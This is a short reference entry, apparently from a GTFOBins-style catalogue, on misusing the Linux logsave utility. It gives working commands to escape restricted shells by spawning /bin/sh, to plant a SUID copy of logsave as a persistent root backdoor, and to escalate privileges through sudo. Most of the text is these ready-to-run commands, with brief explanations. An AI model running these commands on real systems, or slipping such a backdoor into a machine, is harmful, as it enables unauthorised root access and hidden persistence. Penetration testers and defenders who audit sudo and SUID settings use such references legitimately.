It can be used to break out from restricted environments by spawning an interactive system shell.
logsave /dev/null /bin/sh -iIt runs with the SUID bit set and may be exploited to access the file
system, escalate or maintain access with elevated privileges working as a
SUID backdoor. If it is used to run sh -p, omit the -p argument on systems
like Debian that allow the default sh shell to run with SUID privileges.
sudo sh -c 'cp $(which logsave) .; chmod +s ./logsave'
./logsave /dev/null /bin/sh -i -pIt runs in privileged context and may be used to access the file system,
escalate or maintain access with elevated privileges if enabled on sudo.
sudo logsave /dev/null /bin/sh -i